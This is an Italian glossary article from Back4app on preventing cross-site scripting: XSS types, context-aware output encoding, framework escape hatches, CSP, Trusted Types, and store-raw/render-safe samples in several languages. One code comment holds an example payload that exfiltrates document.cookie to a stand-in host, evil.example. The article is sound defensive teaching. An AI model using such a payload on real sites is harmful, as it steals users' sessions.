---
term: 'Prevenzione del Cross-Site Scripting (XSS)'
seoTitle: 'Prevenzione XSS: tipi, encoding dell''output, CSP, framework'
headline: 'Che cos''è il Cross-Site Scripting (XSS) – e come si previene?'
slug: prevenzione-xss
category: auth-security
shortDefinition: 'Il cross-site scripting è un attacco che inietta script malevoli in pagine fidate; prevenirlo significa codificare l''output in base al contesto.'
relatedTerms:
  - cors-cross-origin-resource-sharing
  - json-web-token-jwt
  - data-encryption-at-rest-transit
  - api-key-security
contrastsWith:
  - cors-cross-origin-resource-sharing
aboutTerms:
  - 'Stored XSS'
  - 'Reflected XSS'
  - 'DOM-Based XSS'
  - 'Content Security Policy (CSP)'
faq:
  - question: 'Che cos''è l''XSS in parole semplici?'
    answer: 'Un attaccante infila il proprio JavaScript in una pagina che altri visualizzano – attraverso un commento, un link creato ad arte, un campo del profilo – e il browser delle vittime lo esegue come se l''avesse scritto il sito stesso. Da quel momento lo script può fare tutto ciò che può fare la vittima: leggere i suoi dati, agire al suo posto, rubarle la sessione.'
  - question: 'Qual è un esempio di attacco XSS?'
    answer: 'Un campo commento che non codifica l''output: basta inviare un tag script come commento perché venga eseguito nel browser di ogni lettore. I payload proof-of-concept aprono un alert; quelli reali spediscono invece all''attaccante il cookie di sessione o i token della vittima.'
  - question: 'Qual è la differenza tra XSS stored, reflected e DOM-based?'
    answer: 'Il percorso che compie il payload. L''XSS stored vive nel database e colpisce chiunque visualizzi la pagina. L''XSS reflected viaggia in un URL creato ad arte e colpisce chi ci clicca sopra. L''XSS DOM-based avviene interamente nel JavaScript lato client – i dati dell''attaccante passano da una source come il fragment dell''URL a un sink come innerHTML, a volte senza toccare mai il server.'
  - question: 'Come si previene l''XSS?'
    answer: 'Nell''ordine: encoding dell''output sensibile al contesto al momento del rendering (la difesa principale), validazione dell''input come livello di appoggio, una libreria di sanitizing quando gli utenti possono scrivere HTML vero, header Content-Type corretti sulle API, una Content Security Policy stretta come rete di sicurezza e cookie HttpOnly per limitare ciò che un attacco riuscito può rubare.'
  - question: 'Encoding dell''output, validazione dell''input, sanitizing: quale scegliere?'
    answer: 'Sono tre ruoli diversi. L''encoding converte i caratteri in uscita perché i dati si mostrino come testo invece di essere eseguiti – la difesa principale, scelta in base al contesto. La validazione rifiuta gli input malformati al loro arrivo – utile per la correttezza, insufficiente per la sicurezza, perché il pericolo dipende da dove i dati finiscono. Il sanitizing rimuove le costruzioni non sicure da un HTML che si intende davvero rendere come HTML.'
  - question: 'La Content Security Policy ferma l''XSS?'
    answer: 'Una CSP stretta, basata su nonce, blocca gli script inline iniettati anche quando un bug esiste – autentica difesa in profondità. Ma è la rete, non la correzione: le policy costruite su allowlist si aggirano comunemente, e le indicazioni di OWASP sono esplicite: la CSP non deve mai essere la difesa principale.'
  - question: 'React e Vue prevengono l''XSS automaticamente?'
    answer: 'In buona parte – l''interpolazione dei template fa escape automatico dei valori, cosa che ha mandato in pensione intere classi di bug. Ma ogni framework fornisce vie d''uscita che reintroducono l''XSS tale e quale: dangerouslySetInnerHTML in React, v-html in Vue, le API di aggiramento della fiducia in Angular – più gli URL javascript: nei binding href, che l''escape automatico non ha mai coperto.'
  - question: 'Qual è la differenza tra XSS e CSRF?'
    answer: 'La capacità. L''XSS esegue codice dell''attaccante nel browser della vittima – in due direzioni: può leggere le risposte e fare tutto ciò che può fare l''utente. Il CSRF si limita a indurre il browser a inviare richieste falsificate – in una sola direzione, senza lettura, e dipendente da una sessione attiva. L''XSS è la classe più grave, e un bug XSS può neutralizzare le difese anti-CSRF.'
codeLanguages: [javascript, dart, swift, kotlin]
externalAuthorities:
  - name: 'OWASP Cross Site Scripting Prevention Cheat Sheet'
    url: 'https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html'
  - name: 'Cross-site scripting — PortSwigger Web Security Academy'
    url: 'https://portswigger.net/web-security/cross-site-scripting'
  - name: 'Cross-site scripting (XSS) — MDN Web Docs'
    url: 'https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/XSS'
  - name: 'CWE-79 — Improper Neutralization of Input During Web Page Generation'
    url: 'https://cwe.mitre.org/data/definitions/79.html'
  - name: 'Cross-site scripting — Wikipedia'
    url: 'https://en.wikipedia.org/wiki/Cross-site_scripting'
cta:
  title: 'Archivia grezzo, rendi sicuro'
  text: 'Back4app conserva i contenuti dei tuoi utenti esattamente come sono stati scritti e li serve tramite API JSON con i Content-Type corretti – la disciplina dell''encoding all''output resta nella tua UI, dove ACL e CLP limitano già ciò che uno script iniettato potrebbe raggiungere.'
  linkText: 'Inizia gratis'
  linkUrl: 'https://www.back4app.com/signup'
author: 'Back4app Engineering'
publishedDate: '2026-10-14'
translationKey: cross-site-scripting-xss-prevention
---

**Il cross-site scripting è un attacco che inietta script malevoli in pagine fidate; prevenirlo significa codificare l'output in base al contesto.** Il browser è vittima della propria fiducia: uno script che arriva dentro una pagina servita da un'origin legittima viene eseguito con tutti i poteri di quella pagina – sessione, archiviazione, ogni azione che l'utente può compiere. A tre decenni di distanza, [CWE-79](https://cwe.mitre.org/data/definitions/79.html) resta in testa alle classifiche delle debolezze più pericolose, perché la causa profonda si commette un template alla volta: input non fidato che raggiunge l'output senza encoding.

## Punti chiave

| Domanda | Risposta |
| --- | --- |
| I tre tipi | Stored (nel database) · reflected (nell'URL) · DOM-based (nel JS client) |
| La difesa principale | **Encoding dell'output** sensibile al contesto – al rendering, per destinazione |
| La regola che tutti invertono | Validare per la correttezza; **codificare per la sicurezza** – la validazione da sola non ce la fa |
| Framework | Escape automatico per impostazione predefinita – fino alla via d'uscita (`v-html`, `dangerouslySetInnerHTML`) |
| Le reti di sicurezza | CSP stretta · Trusted Types · cookie HttpOnly – mitigazione, non correzioni |

## Una riga vulnerabile

```js
// Il bug – i dati utente incontrano un sink HTML
commentEl.innerHTML = comment.text;
// Payload che prima o poi qualcuno invierà:
//   <img src=x onerror="fetch('https://evil.example/?c='+document.cookie)">
// Il browser di ogni lettore lo esegue, con la sessione del lettore.

// La correzione – stessi dati, contesto testo
commentEl.textContent = comment.text;   // il markup si mostra; non viene mai eseguito
```

La disciplina che sta dietro a quella correzione – archiviare grezzo, rendere sicuro – su tutto lo stack:

**JavaScript:**

```javascript
// JavaScript / Node.js — Back4app JS SDK + browser
// Store RAW, render SAFE — encoding happens at output, not at save
const comment = new Parse.Object('Comment');
comment.set('text', userInput); // saved as-is: O'Brien, 1 < 2, all fine
await comment.save();

// Rendering: textContent treats it as text — markup never executes
commentEl.textContent = comment.get('text'); // safe by construction
// commentEl.innerHTML = comment.get('text'); // ← the XSS sink
```

**Flutter:**

```dart
// Flutter / Dart — Back4app Flutter SDK
// Store RAW, render SAFE — Flutter's Text() treats data as text, not markup
final comment = ParseObject('Comment')..set('text', userInput);
await comment.save(); // saved as-is — no encoding at write time

// Text() cannot execute markup — XSS needs an HTML context to exist
Text(comment.get<String>('text') ?? '');
// Danger returns with WebViews: never loadHtmlString() raw user content
```

**Swift:**

```swift
// iOS / Swift — Back4app Swift SDK
// Store RAW, render SAFE — UILabel treats data as text, not markup
var comment = Comment()
comment.text = userInput
try await comment.save() // saved as-is — no encoding at write time

label.text = comment.text // safe: text, not HTML
// Danger returns with WKWebView: never loadHTMLString() raw user content
```

**Kotlin:**

```kotlin
// Android / Kotlin — Back4app Android SDK
// Store RAW, render SAFE — TextView treats data as text, not markup
val comment = ParseObject("Comment")
comment.put("text", userInput)
comment.save() // saved as-is — no encoding at write time

textView.text = comment.getString("text") // safe: text, not HTML
// Danger returns with WebViews: never loadData() with raw user content
```

## XSS stored vs. reflected vs. DOM-based

| | Stored (persistente) | Reflected | DOM-based |
| --- | --- | --- | --- |
| Dove vive il payload | Nel database | In un URL creato ad arte | Nel flusso di dati lato client |
| Vittime | Chiunque visualizzi la pagina | Chiunque clicchi sul link | Chiunque raggiunga quello stato della pagina |
| Il server lo vede | Sì – in scrittura | Sì – riflesso a ogni richiesta | **Spesso mai** |
| Vettore classico | Commenti, profili, messaggi | Echi di ricerca, pagine di errore | `location.hash` → `innerHTML` |
| Gravità (consenso) | Il più pericoloso | Mirato, dipende dal link | Invisibile ai log del server e ai WAF |

```mermaid
flowchart LR
  accTitle: Come i tre tipi di XSS consegnano un payload al browser della vittima
  accDescr: L'input dell'attaccante raggiunge il browser della vittima per tre strade. L'XSS stored viene salvato nel database e servito a ogni visitatore. L'XSS reflected viene rimandato in eco da una richiesta su un URL creato ad arte. L'XSS DOM-based passa da una source lato client direttamente a un sink pericoloso, senza necessariamente raggiungere il server. In tutti e tre i casi lo script viene eseguito con tutti i privilegi della pagina.
  A["Input dell'attaccante"] -->|"salvato: commento, profilo"| DB[("Database")] -->|"servito a tutti i visitatori"| S["Browser della vittima"]
  A -->|"URL creato ad arte, rimandato in eco"| R["Risposta del server"] --> S
  A -->|"source lato client → sink<br/>(hash → innerHTML)"| D["JS della pagina stessa"] --> S
  S --> P["Lo script gira con sessione,<br/>archiviazione e poteri della pagina"]
```

## La difesa principale: encoding dell'output sensibile al contesto

La regola distintiva, detta chiaramente visto che le fonti di riferimento la seppelliscono: **la stessa stringa è innocua in un posto e letale in un altro** – ed è per questo che l'encoding avviene all'*output*, per *destinazione*, e per questo la sola validazione dell'input fallisce sempre: al momento dell'input il contesto non è noto, le blocklist perdono contro i trucchi di encoding, e dati legittimi (`O'Brien`, `1 < 2`) si rompono sotto una validazione eretta a misura di sicurezza.

| Contesto di output | Encoding | L'errore comune |
| --- | --- | --- |
| Corpo HTML | Codificare in entità `& < > " '` | Dirsi che "è solo testo" |
| Attributo HTML | Entità + **racchiudere sempre** l'attributo tra apici | Attributi senza apici – basta uno spazio per uscirne |
| Stringa JavaScript | Escape `\uXXXX`, tramite un serializzatore | Concatenare dati utente in JS inline |
| URL / href | Percent-encoding + **validare lo schema** | Gli URL `javascript:` attraversano senza problemi l'encoding HTML |
| Valore CSS | Allowlist strette, solo valori di proprietà | Blocchi di stile controllati dall'utente |
| JSON in una pagina | Serializzare in JSON + fare escape di `</script>` | Blob di hydration `window.__STATE__ = …` |

Quando gli utenti scrivono legittimamente HTML – testo ricco, markdown – l'encoding lo distruggerebbe; è l'unico compito del sanitizing: una libreria mantenuta ([DOMPurify](https://github.com/cure53/DOMPurify)) rimuove le costruzioni eseguibili, e l'output va usato così com'è – ritoccare una stringa già sanitizzata annulla il sanitizing.

## Framework: escape per impostazione predefinita, insicuri per via d'uscita

I framework moderni hanno mandato in pensione il grosso dell'XSS classico: i valori interpolati subiscono escape automatico. Due clausole in piccolo tengono in vita il bug. Primo, **ogni framework fornisce un aggiramento**, e ciascuno è un bersaglio da grep in code review:

| Framework | Fa escape per impostazione predefinita | La via d'uscita |
| --- | --- | --- |
| React | Interpolazione JSX | `dangerouslySetInnerHTML` |
| Vue | Template `{{ }}` | `v-html` |
| Angular | Interpolazione + sanitizer | `bypassSecurityTrustHtml` e simili |
| Svelte | Espressioni di template | `{@html …}` |
| Template lato server | Modalità auto-escape | Filtri `\| safe` / `\| raw` |

Secondo, **l'escape automatico copre soltanto il contesto del corpo HTML**: un `href` legato a dati utente esegue ancora gli URL `javascript:`, e l'inserimento in uno script inline richiede ancora un encoding adatto al contesto JS. La risposta sul piano del workflow: sanitizzare prima di qualunque via d'uscita, validare lo schema degli URL nei link legati a dati e passare le vie d'uscita al linter (`react/no-danger` e simili), perché le eccezioni restino deliberate.

## Difesa in profondità: CSP, Trusted Types, HttpOnly

Le reti di sicurezza, presentate con onestà. Una **Content Security Policy stretta** blocca gli script inline iniettati anche quando un bug finisce in produzione:

```text
Content-Security-Policy:
  script-src 'nonce-{random-per-response}' 'strict-dynamic';
  object-src 'none'; base-uri 'none'
```

Basata su nonce, non su allowlist: gli elenchi di host autorizzati si aggirano abbastanza spesso perché il [cheat sheet di OWASP](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html) insista sul fatto che la CSP non dovrebbe essere la difesa principale. Conviene distribuirla prima in modalità Report-Only. **Trusted Types** (`require-trusted-types-for 'script'`) va più lontano contro l'XSS DOM-based: i sink pericolosi come `innerHTML` rifiutano di netto le stringhe semplici, costringendo tutto l'HTML a passare per una sola policy verificabile. E i **cookie HttpOnly** proteggono esattamente una cosa – gli script iniettati non possono leggere il cookie di sessione – cosa che conta, perché i token in localStorage distano un `localStorage.getItem` dall'esfiltrazione: le [indicazioni sull'archiviazione dei JWT](/glossary/it/json-web-token-jwt/) e questo articolo sono lo stesso argomento visto dai due lati. Nessuno dei tre corregge il bug; tutti e tre riducono quanto vale.

## La parte del backend

L'XSS passa per un problema di frontend; una parte spetta però all'API. **Archiviare grezzo, codificare all'output** – codificare in scrittura corrompe i dati, provoca un doppio encoding negli andirivieni e manca comunque i contesti che non erano stati previsti. **Disciplina del Content-Type**: le risposte JSON dichiarano `Content-Type: application/json` insieme a `X-Content-Type-Options: nosniff`, perché un parametro riflesso in una risposta che il browser accetta di interpretare come HTML *è* XSS con qualche passaggio in più. **Le pagine di errore che rimandano in eco** l'URL o i parametri sono il classico sink reflected che nessuno rilegge in code review. E la trappola vicina che merita una frase: rendere un input utente come *template* invece che come dato supera l'XSS e diventa una server-side template injection – un input utente è un dato di template, mai codice di template.

## Casi d'uso tipici

Dove queste difese si guadagnano lo stipendio:

- **Commenti, recensioni, messaggi** – territorio dell'XSS stored: codificare al rendering, in ogni punto in cui appaiono.
- **Testo ricco e markdown** – il caso dell'HTML legittimo: sanitizzare al rendering e tenere aggiornato il sanitizer.
- **Ricerca, filtri, pagine di errore** – territorio reflected: tutto ciò che rimanda in eco i dati della richiesta li codifica.
- **SPA che fanno routing sullo stato dell'URL** – territorio DOM: i dati del fragment e della query string non incontrano mai `innerHTML` senza sanitizing.
- **WebView mobile** – la superficie XSS dell'app nativa: non caricare mai contenuto utente grezzo come HTML.

## Quale difesa per prima? Matrice decisionale

| Situazione | Che fare |
| --- | --- |
| Mostrare testo utente | Interpolazione del framework / `textContent` – nulla di più elaborato |
| Rendere HTML scritto dall'utente | Sanitizzare con DOMPurify, usare l'output così com'è |
| Dati utente in un link | Validare lo schema con una allowlist (`https:`), poi codificare |
| JSON/stato inline nelle pagine | Serializzare in JSON con escape sicuro per gli script |
| Mandare in produzione uno dei casi sopra | CSP stretta a nonce in Report-Only, poi in modalità bloccante |
| Verificare codice esistente | Grep su vie d'uscita e sink; passarli al linter; testare i payload per contesto |

## Limiti e trade-off

- **L'encoding deve corrispondere esattamente al contesto.** Codificare in HTML un dato inserito in un URL o in un blocco di script è il pattern della falsa sicurezza – difesa giusta, contesto sbagliato, ancora sfruttabile.
- **I sanitizer sono dipendenze.** Gli aggiramenti vengono pubblicati; un sanitizer fermo a una versione obsoleta diventa silenziosamente una vulnerabilità con un changelog.
- **La CSP costa ingegneria.** I nonce toccano ogni tag script e ogni handler inline; adottare una CSP stretta su una codebase legacy è un progetto a sé, ed è per questo che esiste il Report-Only.
- **Trusted Types ha limiti di adozione.** Funziona su tutti i browser attuali solo dall'inizio del 2026, quindi i browser più vecchi lo ignorano; va trattato come un irrigidimento sopra l'encoding, non come una garanzia.
- **I WAF non sono la risposta.** I filtri a corrispondenza di pattern intercettano i payload noti e mancano encoding e mutazioni; le indicazioni di OWASP li giudicano poco affidabili contro l'XSS.

## Prevenzione dell'XSS su Back4app

Back4app è una piattaforma open-source di Backend as a Service (BaaS) che combina database gestito, API REST e GraphQL generate automaticamente, autenticazione, archiviazione di file e funzioni serverless con Cloud Code. La parte di disciplina che spetta al backend è integrata di serie: i dati sono archiviati grezzi e restituiti tramite API JSON con i Content-Type corretti – mai resi in HTML lato server – così la responsabilità dell'encoding all'output resta pulita nel livello UI, dove le schede di codice qui sopra mostrano il pattern archivia-grezzo/rendi-sicuro per ogni piattaforma. I controlli sul raggio d'impatto sono già attivi: le sessioni si appoggiano a token revocabili invece che a credenziali di lunga durata in localStorage, e le [ACL](/glossary/it/liste-di-controllo-degli-accessi-acl/) insieme ai permessi di classe delimitano ciò che qualunque script in esecuzione come un utente potrebbe toccare – un payload iniettato eredita i permessi della vittima, non il database. Cloud Code è la casa giusta per l'igiene lato server che resta: validare i campi URL contro allowlist di schemi e sanitizzare una volta sola i campi di testo ricco, in `beforeSave`, perché ogni client renda lo stesso contenuto già difeso.
